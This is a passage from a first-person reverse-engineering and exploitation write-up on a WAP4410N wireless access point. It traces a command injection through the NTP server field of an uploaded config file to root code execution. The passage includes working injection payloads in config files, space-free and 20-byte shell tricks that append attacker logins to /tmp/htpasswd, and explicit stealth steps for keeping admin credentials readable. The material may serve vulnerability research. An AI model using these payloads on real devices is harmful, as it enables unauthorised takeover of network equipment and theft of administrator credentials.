      system(pcVar4);
      location("setup.cgi?next_file=galert.htm");
      fflush(stdout);
      fileUpldToFileOtherFree();
      pcVar7 = unlink;
      pcVar4 = "/var/wap4410n.pem";
    }
  }
  (*pcVar7)(pcVar4);
  return local_30[0];
}

This call caught my eye:

iVar1 = parseCFG("/var/wap4410n.cfg", 0xff, 1);

Definitely worth a closer look. After some digging, I tracked it down inside a shared library, libeditapcfg.so. So, I pulled the library off the device, dropped it into Ghidra.

Reverse engineering libeditapcfg.so

Here’s what parseCFG looks like:


int parseCFG(char *param_1,byte param_2,int param_3)

{
  FILE *__stream;
  int iVar1;
  int iVar2;
  undefined1 auStack_98 [128];
  
  __stream = fopen(param_1,"r");
  iVar1 = 0;
  if (__stream != (FILE *)0x0) {
    outputCFGGet(param_2);
    iVar1 = 0;
    while( true ) {
      iVar2 = feof(__stream);
      if (iVar2 != 0) break;
      GetaGroup(auStack_98,__stream);
      iVar2 = matchGroup(auStack_98);
      if ((iVar2 != 0) && ((CFGData[iVar2 * 0xc + 8] & param_2) != 0)) {
        iVar2 = ParseNAssignValue(iVar2,__stream,param_2);
        iVar1 = iVar1 + iVar2;
      }
    }
    fclose(__stream);
    correctVariables();
    if ((iVar1 != 0) && (param_3 != 0)) {
      parseCFGSet(param_2);
    }
  }
  return iVar1;
}

This is turning into a real rabbit hole, but the only way forward is to keep following the next interesting call.

parseCFGSet(param_2);

That leads us here:

void parseCFGSet(void)

{
  size_t sVar1;
  int iVar2;
  char *pcVar3;
  int iVar4;
  uint uVar5;
  undefined4 uVar6;
  undefined1 uVar8;
  undefined2 uVar7;
  undefined1 *__s1;
  uint uVar9;
  int iVar10;
  code *pcVar11;
  char acStack_b0 [24];
  undefined4 local_98;
  undefined4 local_94;
  undefined4 local_90;
  undefined4 local_8c;
  undefined2 local_88;
  undefined4 local_80;
  undefined2 local_7c;
  undefined1 auStack_78 [24];
  char acStack_60 [51];
  undefined1 uStack_2d;
  undefined4 local_28;
  
  local_80 = 0;
  local_7c = 0;
  memset(auStack_78,0,0x11);
  if (APName != '\0') {
    sVar1 = strlen(&APName);
    iVar2 = scValidHostName(&APName,sVar1 & 0xffff);
    if (iVar2 != 0) {
      apCfgSysNameSet(&APName);
    }
  }
  if (APDesc != '\0') {
    apCfgDescSet();
  }
  if (APLang != '\0') {
    apCfgSysLangSet();
  }
  apCfgDhcpEnableSet(dhcpF);
  apCfgDhcp6EnableSet(dhcp6F);
  local_28 = IPAddress4;
  if (IPAddress4 != 0) {
    apCfgIpAddrSet();
  }
  local_28 = subnet4;
  if (subnet4 != 0) {
    apCfgIpMaskSet();
  }
  local_28 = gateway4;
  apCfgGatewayAddrSet(gateway4);
  apCfgNameSrvSet(dnsServer1);
  apCfgNameSrv2Set(dnsServer2);
  apCfgipv6modeSet(IPv6);
  sprintf(acStack_60,"%s/%d",IPAddress6,(uint)prefixlen);
  iVar2 = apCfgIpv6AddrSet(acStack_60);
  if ((iVar2 != 0) &&
     (((iVar2 = apCfgIpv6AddrGet(), iVar2 == 0 ||
       (pcVar3 = (char *)apCfgIpv6AddrGet(), *pcVar3 == '\0')) ||
      (pcVar3 = (char *)apCfgIpv6AddrGet(), *pcVar3 == '\0')))) {
    apCfgipv6modeSet(0);
  }
  apCfgGatewayv6AddrSet(gateway6);
  apCfgNameSrv61Set(IPv6dnsServer1);
  apCfgNameSrv62Set(IPv6dnsServer2);
  apCfgTimeModeSet(timesetting == '\0');
  if (timesetting == '\0') {
    pcVar3 = strtok(date_p,"/");
    iVar2 = atoi(pcVar3);
    apCfgTimeYearSet(iVar2);
    pcVar3 = strtok((char *)0x0,"/");
    iVar2 = atoi(pcVar3);
    apCfgTimeMonSet(iVar2);
    pcVar3 = strtok((char *)0x0,"/");
    iVar2 = atoi(pcVar3);
    apCfgTimeDaySet(iVar2);
    pcVar3 = strtok(time_p,":");
    iVar2 = atoi(pcVar3);
    apCfgTimeHourSet(iVar2);
    pcVar3 = strtok((char *)0x0,":");
    iVar2 = atoi(pcVar3);
    apCfgTimeMinSet(iVar2);
    pcVar3 = strtok((char *)0x0,":");
    iVar2 = atoi(pcVar3);
    apCfgTimeSecSet(iVar2);
  }
  apCfgTimezoneOffsetSet(timeZone);
  apCfgNtpModeSet(usDefntp);
  apCfgNtpServerSet(ntpServer);
  apCfgDaylightSavingSet(daylightSaving);
  apCfgBonjourSet(htBonjour);
  apCfgForce100mSet(htForce100m);
  apCfgAutonegoSet(htAutoNegotiation);
  apCfgPortspeedSet(htPortSpeed);
  apCfgDuplexmodeSet(htDuplexMode);
  apCfgRedirectModeSet(htRedirect);
  apCfgRedirectUrlSet(htRedirectUrl);
  scApCfgDot1xSuppEnableSet(ethDot1xAuth);
  scApCfgDot1xSuppMacEnableSet(authViaMac);
  if (authName != '\0') {
    scApCfgDot1xSuppUsernameSet();
  }
  if (authPasswd != '\0') {
    scApCfgDot1xSuppPasswordSet();
  }
  apCfgVlanModeSet(vlan);
  apCfgVlanListClear();
  if (vlan != '\0') {
    apCfgNativeVlanIdSet(nativeVid);
    apCfgManagementVlanIdSet(manageVid);
    apCfgNativeVlanTagSet(vlanTag);
    apCfgWdsVlanTagSet(wdsTag);
    apCfgwdsVlanListSet(wdsVlanList);
  }
  if (wlsMode != '\0') {
    apCfgWlanStateSet(0,1);
  }
  switch(wlsMode) {
  case '\x01':
    pcVar11 = apCfgFreqSpecSet;
    uVar6 = 2;
    break;
  case '\x02':
    pcVar11 = apCfgFreqSpecSet;
    uVar6 = 3;
    break;
  case '\x03':
    pcVar11 = apCfgFreqSpecSet;
    uVar6 = 9;
    break;
  case '\x04':
    pcVar11 = apCfgFreqSpecSet;
    uVar6 = 10;
    break;
  default:
    apCfgFreqSpecSet(0,0xb);
  case '\0':
    pcVar11 = apCfgWlanStateSet;
    uVar6 = 0;
    break;
  case '\a':
    pcVar11 = apCfgFreqSpecSet;
    uVar6 = 0xb;
  }
  (*pcVar11)(0,uVar6);
  apCfgAutoChannelSet(0,channel == '\0');
  if (channel != '\0') {
    apCfgRadioChannelSet(0);
  }
  apCfgInterVapForwardingSet(0,vapIsolated);
  if (opMode == 2) {
    uVar6 = 3;
  }
  else if (opMode < 3) {
    if (opMode != 1) goto LAB_0001e424;
    uVar6 = 5;
  }
  else if (opMode == 3) {
    if (ucrRepeater == '\0') {
      uVar6 = 7;
    }
    else {
      uVar6 = 8;
    }
  }
  else {
    if (opMode == 4) {
      apCfgOpModeSet(0,9);
      scApCfgRogueApTypeSet((int)(char)(illegalAp << 1 | noSecurity));
      goto LAB_0001e4e8;
    }
LAB_0001e424:
    if (wdsRepeater == '\0') {
      uVar6 = 0;
    }
    else {
      uVar6 = 6;
    }
  }
  apCfgOpModeSet(0,uVar6);
LAB_0001e4e8:
  uVar9 = 0;
  do {
    if ((&ssid)[uVar9 * 0x21] == '\0') {
      scSetDefaultVap(0,uVar9);
      goto LAB_0001eb08;
    }
    apCfgActiveModeSet(0,uVar9,1);
    apCfgSsidSet(0,uVar9,&ssid + uVar9 * 0x21);
    apCfgSsidModeSet(0,uVar9,(&ssidBroadcast)[uVar9] == '\0');
    apCfgIntraVapForwardingSet(0,uVar9,(&wlsSeparation)[uVar9]);
    switch((&secSystem)[uVar9]) {
    case 0:
      pcVar11 = apCfgAuthTypeSet;
      uVar7 = 0;
      goto LAB_0001e98c;
    case 1:
      uVar5 = (uint)((byte)(&encrypt)[uVar9] >> 3);
      apCfgKeyBitLenSet(0,uVar9,(&encrypt)[uVar9]);
      if ((&authType)[uVar9] == '\0') {
        uVar6 = 3;
      }
      else if ((&authType)[uVar9] == '\x02') {
        uVar6 = 2;
      }
      else {
        uVar6 = 1;
      }
      apCfgAuthTypeSet(0,uVar9,uVar6);
      apCfgDefKeySet(0,uVar9,(&keyNo)[uVar9]);
      pcVar3 = key1 + uVar9 * 0x21;
      if ((*pcVar3 != '\0') && (sVar1 = strlen(pcVar3), sVar1 == uVar5 << 1)) {
        apCfgKeyValSet(0,uVar9,1,pcVar3);
      }
      pcVar3 = key2 + uVar9 * 0x21;
      if ((*pcVar3 != '\0') && (sVar1 = strlen(pcVar3), sVar1 == uVar5 << 1)) {
        apCfgKeyValSet(0,uVar9,2,pcVar3);
      }
      pcVar3 = key3 + uVar9 * 0x21;
      if ((*pcVar3 != '\0') && (sVar1 = strlen(pcVar3), sVar1 == uVar5 << 1)) {
        apCfgKeyValSet(0,uVar9,3,pcVar3);
      }
      pcVar3 = key4 + uVar9 * 0x21;
      if ((*pcVar3 != '\0') && (sVar1 = strlen(pcVar3), sVar1 == uVar5 << 1)) {
        apCfgKeyValSet(0,uVar9,4,pcVar3);
      }
      goto switchD_0001e5d8_default;
    case 2:
      apCfgAuthTypeSet(0,uVar9,5);
      uVar8 = (&encrypt)[uVar9];
      goto LAB_0001e888;
    case 3:
      apCfgAuthTypeSet(0,uVar9,7);
      uVar8 = 1;
      goto LAB_0001e888;
    case 4:
      apCfgAuthTypeSet(0,uVar9,9);
      uVar8 = 2;
LAB_0001e888:
      apCfgWPACipherSet(0,uVar9,uVar8);
      pcVar3 = preShared + uVar9 * 0x41;
      if (*pcVar3 != '\0') {
        pcVar11 = apCfgPassphraseSet;
        break;
      }
      goto LAB_0001e904;
    case 5:
      apCfgAuthTypeSet(0,uVar9,4);
      pcVar11 = apCfgWPACipherSet;
      pcVar3 = (char *)(uint)(byte)(&encrypt)[uVar9];
      break;
    case 6:
      apCfgAuthTypeSet(0,uVar9,6);
      pcVar11 = apCfgWPACipherSet;
      pcVar3 = (char *)0x1;
      break;
    case 7:
      apCfgAuthTypeSet(0,uVar9,8);
      pcVar11 = apCfgWPACipherSet;
      pcVar3 = (char *)0x2;
      break;
    case 8:
      pcVar11 = apCfgAuthTypeSet;
      uVar7 = 10;
      goto LAB_0001e98c;
    default:
      goto switchD_0001e5d8_default;
    }
    (*pcVar11)(0,uVar9,pcVar3);
LAB_0001e904:
    uVar7 = (&keyrenew)[uVar9];
    pcVar11 = apCfgGroupKeyUpdateIntervalSet;
LAB_0001e98c:
    (*pcVar11)(0,uVar9,uVar7);
switchD_0001e5d8_default:
    apCfgAclModeSet(0,uVar9,(&aclFlag)[uVar9]);
    apCfgAclTypeSet(0,uVar9,(&aclType)[uVar9]);
    apCfgAclClear(0,uVar9);
    iVar10 = 0;
    iVar2 = 0x13;
    do {
      iVar4 = memcmp(aclMac + uVar9 * 0x78 + iVar10,&local_80,6);
      if (iVar4 != 0) {
        macAddrToString(aclMac + uVar9 * 0x78 + iVar10,&local_98,&DAT_00022dd4);
        apCfgAclAdd(0,uVar9,&local_98,"unknown",1);
      }
      iVar2 = iVar2 + -1;
      iVar10 = iVar10 + 6;
    } while (-1 < iVar2);
    apCfgVlanPvidSet(0,uVar9,(&vapVlan)[uVar9]);
    apCfgWmeSet(0,uVar9,(&vapWmm)[uVar9]);
    apCfgPrioritySet(0,uVar9,(&vapPri)[uVar9]);
    apCfgLoadBalanceSet(0,uVar9,(&vapBalance)[uVar9]);
LAB_0001eb08:
    uVar9 = uVar9 + 1 & 0xff;
    if (3 < uVar9) {
      apCfgVlanListApply(0);
      sprintf(acStack_b0,"%u.%u.%u.%u",(uint)authSIP1,(uint)DAT_00066951,(uint)DAT_00066952,
              (uint)DAT_00066953);
      apCfgRadiusServerSet(0,0,acStack_b0);
      apCfgRadiusPortSet(0,0,authSPort1);
      if (authSSecret1 != '\0') {
        apCfgRadiusSecretSet(0,0);
      }
      sprintf(acStack_b0,"%u.%u.%u.%u",(uint)authSIP2,(uint)DAT_0006694d,(uint)DAT_0006694e,
              (uint)DAT_0006694f);
      apCfgBackupRadiusServerSet(0,0,acStack_b0);
      apCfgBackupRadiusPortSet(0,0,authSPort2);
      if (authSSecret2 != '\0') {
        apCfgBackupRadiusSecretSet(0,0);
      }
      scApCfg80211dEnabledSet(0,worldwide);
      apCfgCountryCodeSet(countryCode);
      if (channelBand == '\x02') {
        uVar8 = 2;
      }
      else {
        uVar8 = channelBand == '\0';
      }
      apCfgChannelWidthModeSet(0,uVar8);
      if (guardInter == '\x02') {
        uVar8 = 2;
      }
      else {
        uVar8 = guardInter == '\0';
      }
      scApCfgShortGISet(0,uVar8);
      apCfgCTSModeSet(0,ctsProtect);
      apCfgBeaconIntervalSet(0,beaconInterval);
      scApCfgDtimIntervalSet(0,dtimInter);
      apCfgRtsThresholdSet(0,rtsThreshold);
      apCfgFragThresholdSet(0,fragLength);
      apCfgBalanceModeSet(0,loadBalance);
      if ((opMode == 1) || (opMode == 3)) {
        iVar2 = memcmp(pxpMac,&local_80,6);
        if (iVar2 == 0) {
          local_88 = 0x3000;
          local_94 = 0x303a3030;
          local_90 = 0x3a30303a;
          local_98 = 0x30303a30;
          local_8c = 0x30303a30;
        }
        else {
          macAddrToString(pxpMac,&local_98,&DAT_00022dd4);
        }
        apCfgRemoteApMacAddrSet(0,&local_98);
        if (opMode == 3) {
          apCfgSsidSet(0,0,perfssid);
        }
      }
      else if ((opMode == 0) || (opMode == 2)) {
        __s1 = pxpMac;
        iVar2 = 0;
        do {
          iVar10 = memcmp(__s1,&local_80,6);
          if (iVar10 == 0) {
            local_88 = 0x3000;
            local_94 = 0x303a3030;
            local_90 = 0x3a30303a;
            local_98 = 0x30303a30;
            local_8c = 0x30303a30;
          }
          else {
            macAddrToString(__s1,&local_98,&DAT_00022dd4);
          }
          iVar10 = iVar2 + 1;
          apCfgRemoteWbrMacAddrSet(0,iVar2,&local_98);
          __s1 = __s1 + 6;
          iVar2 = iVar10;
        } while (iVar10 < 4);
      }
      iVar2 = 0;
      scApCfgLegalApListClear();
      if (rogueApMacList != 0) {
        iVar10 = 0;
        do {
          iVar4 = memcmp(&DAT_00066c70 + iVar10,auStack_78,0x11);
          if (iVar4 != 0) {
            scMacStr17ToStr12(&DAT_00066c70 + iVar10,&local_98);
            scApCfgLegalApListAdd(&local_98);
          }
          iVar2 = iVar2 + 1;
          iVar10 = iVar10 + 0x12;
        } while (iVar2 < (int)(uint)rogueApMacList);
      }
      apCfgSecMaskSet(secShow);
      apCfgLoginSet(loginName);
      if (loginPasswd != '\0') {
        apCfgPasswordSet();
      }
      apCfgAutohttpsModeSet(httpsEnable);
      apCfgHttpsModeSet(httpsEnable);
      apCfgWlanAccessSet(webAccess);
      apCfgSSHSet(secureSh);
      apCfgSnmpModeSet(snmp);
      if (snmp != '\0') {
        apCfgSnmpContactSet(contact);
        apCfgSnmpLocationSet(snmplocal);
        apCfgDescSet(snmpdevice);
        apCfgSnmpReadCommSet(getCom);
        apCfgSnmpWriteCommSet(setCom);
        apCfgSnmpTrapCommunitySet(trapCom);
        apCfgSnmpAnyManagerSet(snmpTrust);
        local_28 = trapStartIp;
        if (trapStartIp != 0) {
          apCfgSnmpManagerIpSet();
        }
        stack0xffffffd0 = CONCAT31(acStack_60._48_3_,trapRange);
        local_28 = CONCAT22((short)((uint)trapStartIp >> 0x10),CONCAT11(trapStartIp._2_1_,trapRange)
                           );
        if ((local_28 == 0) || (uVar5 = apCfgSnmpManagerIpGet(), uVar9 = local_28, local_28 < uVar5)
           ) {
          uVar9 = apCfgSnmpManagerIpGet();
        }
        apCfgSnmpManagerIpEndSet(uVar9);
        local_28 = trapServerIp;
        if (trapServerIp != 0) {
          apCfgSnmpTrapRecvIpSet();
        }
      }
      apCfgemailAlertsEnabledSet(mailAlert);
      if (mailAlert != '\0') {
        apCfgsmtpMailServerSet(smtpServ);
        apCfgemailAddrForLogSet(mailAddr);
        scApCfgemailAlertsQlenSet(logLength);
        scApCfgemailAlertsIntervalSet(logTime);
      }
      apCfgsysLogEnabledSet(syslogF);
      sprintf(acStack_b0,"%u.%u.%u.%u",(uint)logIPAddr._0_1_,(uint)logIPAddr._1_1_,
              (uint)logIPAddr._2_1_,(uint)(byte)logIPAddr);
      apCfgsysLogServerSet(acStack_b0);
      apCfgDeauthSet(unAthLogin);
      apCfgAuthLoginSet(AthLogin);
      apCfgChangeSysFucSet(sysError);
      apCfgChangeCfgSet(cfgChange);
      return;
    }
  } while( true );
}

All those apCfgX() calls seem to line up neatly with the various settings we saw earlier in the config files. Basically, they’re just writing values into the right places so the device can read them back later. Nothing too magical there.

Of course, all of this lives in yet another shared library, libapcfg.so. So I pulled that off the device too and started stepping through function after function, only to confirm: it’s mostly just plumbing for config storage.

At that point it hit me, maybe we could reuse the same injection trick as before. But no luck. That particular setting doesn’t even exist in the config file, so the path is closed. Which leaves us with only one real option: head back into rc and hunt for more injection points, just like the one we uncovered earlier.

Reverse engineering rc (again)

I started grinding through the different services one by one. Hours later, I finally landed here:

undefined4 start_ntp(void)

{
  undefined4 uVar1;
  undefined4 uVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  int iVar7;
  char *pcVar8;
  char acStack_38 [32];
  
  uVar1 = apCfgTimeMonGet();
  uVar2 = apCfgTimeDayGet();
  uVar3 = apCfgTimeHourGet();
  uVar4 = apCfgTimeMinGet();
  uVar5 = apCfgTimeYearGet();
  uVar6 = apCfgTimeSecGet();
  SYSTEM("/bin/date %02d%02d%02d%02d%d.%d",uVar1,uVar2,uVar3,uVar4,uVar5,uVar6);
  iVar7 = apCfgTimeModeGet();
  if (iVar7 != 0) {
    return 0;
  }
  pcVar8 = (char *)apCfgTimezoneOffsetGet();
  strcpy(acStack_38,pcVar8);
  uVar1 = apCfgDaylightSavingGet();
  iVar7 = apCfgNtpModeGet();
  if ((iVar7 != 0) &&
     (pcVar8 = (char *)apCfgNtpServerGet("/usr/sbin/ntp -z %s -l %d& ",acStack_38,uVar1),
     *pcVar8 != '\0')) {
    pcVar8 = (char *)apCfgNtpServerGet();
    iVar7 = strcmp(pcVar8,"0.0.0.0");
    if (iVar7 != 0) {
      uVar2 = apCfgNtpServerGet();
      SYSTEM("/usr/sbin/ntp -z %s -h %s -l %d& ",acStack_38,uVar2,uVar1);
      return 0;
    }
  }
  SYSTEM("/usr/sbin/ntp -z %s -l %d& ",acStack_38,uVar1);
  return 0;
}

Two lines immediately jumped out at me:

uVar2 = apCfgNtpServerGet();
SYSTEM("/usr/sbin/ntp -z %s -h %s -l %d& ",acStack_38,uVar2,uVar1);

We’ve seen these apCfgX() calls before, they’re all values pulled straight from the config file. Which means this SYSTEM() call might be wide open to injection. The question is: can we actually find and manipulate these NTP settings in the ini file?

[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 
;001-12:00: "(GMT-12:00) International Date Line West"
;002-11:00: "(GMT-11:00) Midway Island, Samoa"
;003-10:00: "(GMT-10:00) Hawaii"
;004-09:00: "(GMT-09:00) Alaska"
;005-08:00: "(GMT-08:00) Pacific Time (US & Canada); Tijuana"
;006-07:00: "(GMT-07:00) Arizona"
;007-07:00: "(GMT-07:00) Chihuahua, La Paz, Mazatlan"
;008-07:00: "(GMT-07:00) Mountain Time (US & Canada)"
;009-06:00: "(GMT-06:00) Central America"
;010-06:00: "(GMT-06:00) Central Time (US & Canada)"
;011-06:00: "(GMT-06:00) Guadalajara, Mexico City, Monterrey"
;012-06:00: "(GMT-06:00) Saskatchewan"
;014-05:00: "(GMT-05:00) Eastern Time (US & Canada)"
;015-05:00: "(GMT-05:00) Indiana (East)"
;016-04:00: "(GMT-04:00) Atlantic Time (Canada)"
;017-04:00: "(GMT-04:00) Caracas, La Paz"
;018-04:00: "(GMT-04:00) Santiago"
;019-03:00: "(GMT-03:00) Newfoundland"
;020-03:00: "(GMT-03:00) Brasilia"
;021-03:00: "(GMT-03:00) Buenos Aires, Georgetown"
;022-03:00: "(GMT-03:00) Greenland"
;023-02:00: "(GMT-02:00) Mid-Atlantic"
;024-01:00: "(GMT-01:00) Azores"
;025-01:00: "(GMT-01:00) Cape Verde Is."
;026+00:00: "(GMT) Casablanca, Monrovia"
;027+00:00: "(GMT) Greenwich Mean Time : Dublin, Edinburgh, Lisbon, London"
;028+01:00: "(GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna"
;029+01:00: "(GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague"
;030+01:00: "(GMT+01:00) Brussels, Copenhagen, Madrid, Paris"
;031+01:00: "(GMT+01:00) Sarajevo, Skopje, Warsaw, Zagreb"
;032+01:00: "(GMT+01:00) West Central Africa"
;033+02:00: "(GMT+02:00) Athens, Beirut, Istanbul, Minsk"
;034+02:00: "(GMT+02:00) Bucharest"
;035+02:00: "(GMT+02:00) Cairo"
;036+02:00: "(GMT+02:00) Harare, Pretoria"
;037+02:00: "(GMT+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius"
;038+02:00: "(GMT+02:00) Jerusalem"
;039+03:00: "(GMT+03:00) Baghdad"
;040+03:00: "(GMT+03:00) Kuwait, Riyadh"
;041+03:00: "(GMT+03:00) Moscow, St. Petersburg, Volgograd"
;042+03:00: "(GMT+03:00) Nairobi"
;043+03:30: "(GMT+03:30) Tehran"
;044+04:00: "(GMT+04:00) Abu Dhabi, Muscat"
;045+04:00: "(GMT+04:00) Baku, Tbilisi, Yerevan"
;046+04:30: "(GMT+04:30) Kabul"
;047+05:00: "(GMT+05:00) Ekaterinburg"
;048+05:00: "(GMT+05:00) Islamabad, Karachi, Tashkent"
;049+05:30: "(GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi"
;050+05:45: "(GMT+05:45) Kathmandu"
;051+06:00: "(GMT+06:00) Almaty, Novosibirsk"
;052+06:00: "(GMT+06:00) Astana, Dhaka"
;053+06:00: "(GMT+06:00) Sri Jayawardenepura"
;054+06:00: "(GMT+06:00) Rangoon"
;055+07:00: "(GMT+07:00) Bangkok, Hanoi, Jakarta"
;056+07:00: "(GMT+07:00) Krasnoyarsk"
;057+08:00: "(GMT+08:00) China, Hong Kong, Australia Western"
;058+08:00: "(GMT+08:00) Irkutsk, Ulaan Bataar"
;059+08:00: "(GMT+08:00) Kuala Lumpur, Singapore"
;060+08:00: "(GMT+08:00) Perth"
;061+08:00: "(GMT+08:00) Taipei"
;062+09:00: "(GMT+09:00) Osaka, Sapporo, Tokyo"
;063+09:00: "(GMT+09:00) Seoul"
;064+09:00: "(GMT+09:00) Yakutsk"
;065+09:30: "(GMT+09:30) Adelaide"
;066+09:30: "(GMT+09:30) Darwin"
;067+10:00: "(GMT+10:00) Brisbane"
;068+10:00: "(GMT+10:00) Canberra, Melbourne, Sydney"
;069+10:00: "(GMT+10:00) Guam, Port Moresby"
;070+10:00: "(GMT+10:00) Hobart"
;071+10:00: "(GMT+10:00) Vladivostok"
;072+11:00: "(GMT+11:00) Magadan, Solomon Ls., New Caledonia"
;073+12:00: "(GMT+12:00) Auckland, Wellington"
;074+12:00: "(GMT+12:00) Fiji, Kamchatka, Marshall ls."
;075+13:00: "(GMT+13:00) Nuku`alofa"
daylight_saving=0 ;0:disabled, 1:enabled
User_Defined_NTP=0 ;0:disabled, 1:enabled
User_NTP=

Those last two lines look promising. So why not craft another pwn.cfg and see if we can sneak an injection through? I threw together this quick payload just to test the waters:

[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 
User_Defined_NTP=1 ;0:disabled, 1:enabled
User_NTP=pwn

Uploaded it with curl the same way as before, the device rebooted, and I jumped back in over SSH to take a closer look.

~ ssh 192.168.1.112
[email protected]'s password: 


BusyBox v1.1.0 (2014.01.10-02:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[VAP0 @ wap88a74c]# ps
  PID  Uid     VmSize Stat Command
    1 root        496 S   init       
    2 root            RWN [ksoftirqd/0]
    3 root            SW< [events/0]
    4 root            SW< [khelper]
    5 root            SW< [kthread]
    6 root            SW< [kblockd/0]
    7 root            SW  [pdflush]
    8 root            SW  [pdflush]
   10 root            SW< [aio/0]
    9 root            SW  [kswapd0]
   11 root            SW  [mtdblockd]
   40 root        188 S   /usr/sbin/pb_ap 
   43 root        412 S   /usr/sbin/networkIntegrality 
   45 root        220 S   /usr/sbin/led_ap 
   99 root        148 S   /usr/sbin/scfgmgr 
  101 root        152 S   /usr/sbin/cmd_agent 
  103 root        144 S   /usr/sbin/download 
  104 root        420 S   /usr/sbin/loadbalance 
  190 root        380 S   mini_httpd -S -a -B 443 -p 80 -d /tmp/www -r WAP4410N
  206 root        272 S   /usr/sbin/syslogd -f /tmp/syslog.conf 
  207 root        272 S   /usr/sbin/klogd -c 1 
  213 root       1872 S   snmp -d -C -c /tmp/snmpd.conf -R 255.255.255.255 
  406 root        488 S   udhcpc -i br0 -H wap88a74c -s /etc/udhcpc.script 
  413 root        656 S   /sbin/hostapd /var/topology.conf.ath00 -B -P /var/run
  576 root        372 R   /usr/sbin/wins 
  594 root        288 S   /usr/sbin/ntp -z 005-08:00 -h pwn -l 0 
  619 root        724 S   /usr/sbin/sshd 
  630 root        456 S   /usr/sbin/mDNSResponderPosix -f /var/mDNSResponder.co
  631 root        260 S   free_check 
  639 root        312 S   init       
  646 root       1348 R   /usr/sbin/sshd: admin@pts/0
  693 root        640 S   -sh 
  707 root            Z   [echo]
  708 root        520 R   ps 

Well, would you look at that!

  594 root        288 S   /usr/sbin/ntp -z 005-08:00 -h pwn -l 0 

Injection confirmed, we’ve got control inside the NTP command.

Exploiting the injection vulnerability

Now came the grind: hours of trial and error, uploading payload after payload. Then the first breakthrough hit me, no spaces allowed in the payload. Classic.

So I adjusted the approach and tried something like this:

[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 
User_Defined_NTP=1 ;0:disabled, 1:enabled
User_NTP=$(touch$IFS/tmp/pwn)

Uploaded it, logged back in over SSH, and went to check if our injected RCE landed.

~ ssh 192.168.1.112
[email protected]'s password: 


BusyBox v1.1.0 (2014.01.10-02:35+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[VAP0 @ wap88a74c]# ls /tmp/
var                 www                 cpu_stat_cgi        wlan0_up5           dhcpc.conf          wlan_delif.ath01
hw_info             htpasswd            wlan0_up0           wsc_mac             dhcpc_test          wlan_delif.ath02
country_list        pwn                 wlan0_up1           chan_list           wan_dhcp_server     wlan_delif.ath03
nvram               syslog.conf         wlan0_up2           chan_curr           dhcpc.lease         wan_uptime
cmd_agent           snmpd.conf          wlan0_up3           maxpwr_curr         wanlease            mDNSResponder.hold
cpu_stat            snmpdtrap.conf      wlan0_up4           wscdata_00.bin      wlan_delif.ath00

And there it was, finally, RCE! From here it should’ve been a straight motorway forward… but of course, things are never that simple. So what’s the first move after popping RCE? My eyes went straight to /tmp/htpasswd. That file holds the credentials for logging into the web interface. A quick peek shows this:

[VAP0 @ wap88a74c]# cat /tmp/htpasswd 
admin:PARTIAL_HACKED

Yep, our earlier “PARTIAL_HACKED” password is still in play. But then it hit me, what if instead of overwriting the admin, I just add my own user? That way I keep the admin’s creds intact, slip in under my own account, read his password at will, and then clean up by removing myself. Stealthier, and way less noisy.

[VAP0 @ wap88a74c]# echo 'hacker:hacked'>>/tmp/htpasswd 
[VAP0 @ wap88a74c]# cat /tmp/htpasswd 
admin:PARTIAL_HACKED
hacker:hacked

And when I try logging in with the new credentials, it works like a charm.

And now things started to get really complicated. The obvious payload from here would be:

[Time]
Time_setting=1 ;0: manually, 1:automatically
Date=2011/01/02 ;yyyy/mm/dd
Time=05:57:22 ;hh:mm:ss
Time_zone=005-08:00 
User_Defined_NTP=1 ;0:disabled, 1:enabled
User_NTP=$(echo$IFS'hacker:hacked'>>/tmp/htpasswd)

But of course it couldn’t be that easy. After hours and hours and hours of trial and error, I finally figured out why nothing was sticking: the injected payload was being truncated at 20 bytes. Twenty. Bytes. No spaces allowed. Just enough rope to hang myself with, but not enough to tie a decent knot.

The shortest evil one-liner I could come up with in BusyBox sh was:

$(echo$IFS'a:a'>>/tmp/ht*)

Problem: that’s 26 bytes. Too long, it gets chopped. I had to use $() because ntp failing were giving me headaches. But actually, backticks save a byte so we could use them and a colleague gave me this hint:

`dd<<<a:a>>/t*/h*d`

Nineteen bytes! And I even learned something new that day, it’s called a here-string. Nice trick… but unfortunately, it only works in modern Bash. Our poor old router is stuck with a crusty sh. Back to square one.

Then it hit me. What if I didn’t write the string, but instead stole it from somewhere?

[VAP0 @ wap88a74c]# cut
cut: you must specify a list of bytes, characters, or fields

Bingo. cut as a username, and the error message as the password. All I’d need is something like:

`cut$IFS>>/tmp/ht*`

Nineteen bytes again, but the catch? Cut writes errors to stderr (ofcourse) instead of stdout, which complicates the redirect. Back to grinding through short commands that could spit something useful to stdout.

And then I spotted this:

[VAP0 @ wap88a74c]# ps | grep :
  561 root        332 S   /usr/sbin/ntp -z 005-08:00 -h -l 0 
  646 root       1352 S   /usr/sbin/sshd: admin@pts/0
 2985 root        208 R   grep : 

So I crafted this tiny monster:

$(ps>>/tmp/htpasswd)

Yes I know backticks and wildcards can make this even shorter but the result? My new username became:

  193 root        356 S   sh -c /usr/sbin/ntp -z 005-08

…and the password?

 admin@pts/0

This little detail tripped me up more than once. The PID tends to shift around, and at one point the device even spawned multiple ntp processes, which made things messy. But after running the injection, rebooting, and logging back in to check with a quick grep on all running ntp processes, the pattern became clear. The lowest PID (in my case, 193) shows up consistently and doesn’t seem to change across reboots. That makes it stable enough to rely on.

Dirty, filthy creds, just try them out.

I fired it off and BOOM. I was in.

Yeah, I know, the PID (193) in there isn’t exactly bulletproof, since it can change. But the only thing that really shifts it after a reboot is the order in which services start up. There arent that many services that can be enabled on the device. With a bit of trial and error, you could map out the likely combinations and pre-calculate a small list of possible PIDs. Not something I’m going to dive into here, but you can bet a real malware author would.

